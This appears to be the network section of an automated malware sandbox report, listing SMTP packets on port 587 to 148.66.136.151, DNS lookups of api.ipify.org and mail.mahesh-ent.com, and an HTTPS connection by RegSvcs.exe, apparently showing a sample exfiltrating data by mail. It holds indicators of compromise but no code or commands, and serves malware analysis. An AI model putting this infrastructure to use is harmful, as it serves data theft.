Jul 26, 2024 15:13:47.572470903 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:47.572607994 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:47.572621107 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:47.572685003 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:47.572698116 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:47.572711945 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:47.572932005 CEST	49746	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:13:47.578994036 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:52.549570084 CEST	49746	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:13:52.588630915 CEST	587	49746	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:52.588886023 CEST	49746	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:13:52.623893023 CEST	49747	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:13:52.629471064 CEST	587	49747	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:52.629559040 CEST	49747	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:13:53.540426016 CEST	587	49747	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:53.540448904 CEST	587	49747	148.66.136.151	192.168.2.4
Jul 26, 2024 15:13:53.540591002 CEST	49747	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:13:53.540741920 CEST	49747	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:13:53.545639038 CEST	587	49747	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:10.373039007 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:10.380887985 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:10.380966902 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:11.292802095 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:11.294531107 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:11.299890995 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:11.646125078 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:11.646598101 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:11.655381918 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:12.191993952 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:12.192265034 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:12.197261095 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:12.548180103 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:12.548379898 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:12.553442001 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:12.900966883 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:12.901379108 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:12.911679029 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.356904030 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.357285023 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.364633083 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.749298096 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.749648094 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.749701977 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.749701977 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.750911951 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.750911951 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.755498886 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755511045 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755518913 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755645037 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.755852938 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755863905 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755872011 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755882025 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755916119 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.755934000 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755944014 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.755971909 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.756038904 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.756263018 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.756283998 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.756373882 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.763767004 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.764014006 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.764075994 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.764085054 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.764089108 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.764096975 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.764168024 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.766072989 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.766207933 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.770303965 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.770450115 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:13.771189928 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.771198988 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.771234989 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.771269083 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.771313906 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.771385908 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781090021 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781100988 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781146049 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781155109 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781239986 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781250000 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781265974 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781274080 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781331062 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781339884 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781388998 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781420946 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781485081 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781492949 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:13.781757116 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:16.393321991 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:16.404047012 CEST	587	49748	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:16.404115915 CEST	49748	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:16.450304985 CEST	49749	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:16.455935001 CEST	587	49749	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:16.456021070 CEST	49749	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:17.321137905 CEST	587	49749	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:17.321253061 CEST	587	49749	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:17.321542978 CEST	49749	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:17.321543932 CEST	49749	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:17.326632023 CEST	587	49749	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:28.627748966 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:28.632911921 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:28.633002996 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:29.511148930 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:29.512011051 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:29.517271042 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:29.858998060 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:29.859272003 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:29.864212036 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:30.207730055 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:30.208038092 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:30.214732885 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:30.563241005 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:30.563613892 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:30.568694115 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:30.786875010 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:30.836292028 CEST	587	49750	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:30.836349964 CEST	49750	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:30.841893911 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:30.847399950 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:30.847470999 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:31.699464083 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:31.699718952 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:31.705930948 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:32.039335966 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:32.039583921 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:32.044625998 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:32.372971058 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:32.373167992 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:32.377976894 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:32.712802887 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:32.713042974 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:32.719438076 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.052014112 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.054569960 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.060756922 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.445852041 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.446099997 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.451636076 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.781507015 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.786201000 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.786282063 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.786282063 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.788476944 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.789329052 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.791752100 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.792192936 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.792201042 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.792515039 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.793575048 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.794930935 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.794938087 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.794958115 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.794965982 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.795058012 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.795305967 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.795351028 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.795583010 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.796549082 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.797499895 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.797507048 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.797677040 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.801208019 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.801215887 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.801223040 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.801390886 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.803261042 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.803435087 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.803467035 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.803647995 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.804006100 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.804127932 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.807197094 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.809211016 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.809221029 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.809251070 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.809928894 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.810297012 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.813925028 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.813936949 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.813944101 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.813951015 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.813958883 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.813966036 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.813971996 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.814224958 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.815279961 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.815288067 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.815294027 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.846529961 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.853566885 CEST	587	49751	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.854665995 CEST	49751	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.898390055 CEST	49752	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:33.903489113 CEST	587	49752	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:33.906585932 CEST	49752	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:34.769088984 CEST	587	49752	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:34.769423962 CEST	49752	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:34.769861937 CEST	587	49752	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:34.769915104 CEST	49752	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:34.776180983 CEST	587	49752	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:38.423255920 CEST	49753	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:38.428508997 CEST	587	49753	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:38.428608894 CEST	49753	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:39.332099915 CEST	587	49753	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:39.332454920 CEST	49753	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:39.332479000 CEST	587	49753	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:39.332634926 CEST	49753	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:39.337754011 CEST	587	49753	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:46.201591969 CEST	49754	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:46.206865072 CEST	587	49754	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:46.206948042 CEST	49754	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:46.707046032 CEST	49754	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:46.713855028 CEST	587	49754	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:46.746150970 CEST	587	49754	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:46.746236086 CEST	49754	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:46.779901028 CEST	49755	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:46.784975052 CEST	587	49755	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:46.785103083 CEST	49755	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:47.440309048 CEST	49755	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:47.455492973 CEST	587	49755	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:47.486740112 CEST	587	49755	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:47.487693071 CEST	49755	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:47.492031097 CEST	49756	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:47.497960091 CEST	587	49756	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:47.498056889 CEST	49756	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:48.487135887 CEST	49756	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:48.496721029 CEST	587	49756	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:48.496803045 CEST	49756	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:48.545948029 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:48.552875996 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:48.552954912 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:49.430870056 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:49.434705973 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:49.441565037 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:49.857253075 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:49.859363079 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:49.872092962 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:50.218528032 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:50.218810081 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:50.224560976 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:50.578948975 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:50.579129934 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:50.587008953 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:50.931519032 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:50.931696892 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:50.937167883 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.321224928 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.321510077 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.327420950 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.687593937 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.690764904 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.690851927 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.690851927 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.690943003 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.691850901 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.697035074 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697063923 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697097063 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697124004 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697222948 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697251081 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697282076 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697303057 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.697308064 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697341919 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.697357893 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697388887 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697415113 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.697428942 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.697541952 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.714389086 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.714452982 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.714534998 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.714585066 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.714612007 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.714659929 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.714783907 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.718040943 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.718189955 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.722513914 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.722647905 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:14:51.724843979 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.728560925 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.728693008 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.728719950 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.728746891 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.728889942 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.728955984 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.728981972 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.729012012 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.729141951 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:14:51.729167938 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:05.335576057 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:05.377695084 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:15:06.559429884 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:15:06.564456940 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:07.109867096 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:07.110452890 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:07.110660076 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:15:07.110660076 CEST	49757	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:15:07.110912085 CEST	49758	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:15:07.115972996 CEST	587	49757	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:07.116142988 CEST	587	49758	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:07.116252899 CEST	49758	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:15:07.999610901 CEST	587	49758	148.66.136.151	192.168.2.4
Jul 26, 2024 15:15:08.049998999 CEST	49758	587	192.168.2.4	148.66.136.151

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 15:10:59.254492998 CEST	64831	53	192.168.2.4	1.1.1.1
Jul 26, 2024 15:10:59.263037920 CEST	53	64831	1.1.1.1	192.168.2.4
Jul 26, 2024 15:11:00.423870087 CEST	54343	53	192.168.2.4	1.1.1.1
Jul 26, 2024 15:11:00.437268972 CEST	53	54343	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 15:10:59.254492998 CEST	192.168.2.4	1.1.1.1	0x7935	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 15:11:00.423870087 CEST	192.168.2.4	1.1.1.1	0x838a	Standard query (0)	mail.mahesh-ent.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 15:10:59.263037920 CEST	1.1.1.1	192.168.2.4	0x7935	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Jul 26, 2024 15:10:59.263037920 CEST	1.1.1.1	192.168.2.4	0x7935	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Jul 26, 2024 15:10:59.263037920 CEST	1.1.1.1	192.168.2.4	0x7935	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Jul 26, 2024 15:11:00.437268972 CEST	1.1.1.1	192.168.2.4	0x838a	No error (0)	mail.mahesh-ent.com	148.66.136.151	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.74.152	443	2840	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
